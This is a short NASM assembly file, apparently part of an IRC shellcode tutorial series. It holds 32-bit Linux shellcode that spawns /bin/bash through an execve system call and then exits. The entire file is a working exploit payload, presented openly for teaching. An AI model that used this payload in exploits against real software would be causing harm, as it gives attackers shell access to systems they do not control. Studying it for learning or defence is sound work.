32bit local shell shellcode example

;
; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
;
; ----------------------------------------------------------------------------
; "THE BEER-WARE LICENSE" (Revision 43):
; <aaronryool@gmail.com> wrote this file. As long as you retain this notice you
; can do whatever you want with this stuff. If we meet some day, and you think
; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
; ----------------------------------------------------------------------------
; 32bit call: eax args: ebx, ecx, edx, esi, edi, and ebp

[bits 32]
section .text
global _start
_start:
; execve("/bin/bash",$esp,0)
    xor eax,eax
    mov al,0x0b
    jmp short sh
load_sh:
    pop esi
    xor edx,edx
    push edx
    push esi
    mov ecx,esp
    mov ebx,esi
    int 0x80
; exit(0);
    xor eax,eax
    mov al,0x1
    xor ebx,ebx
    int 0x80

sh:
    call load_sh
    db "/bin/bash"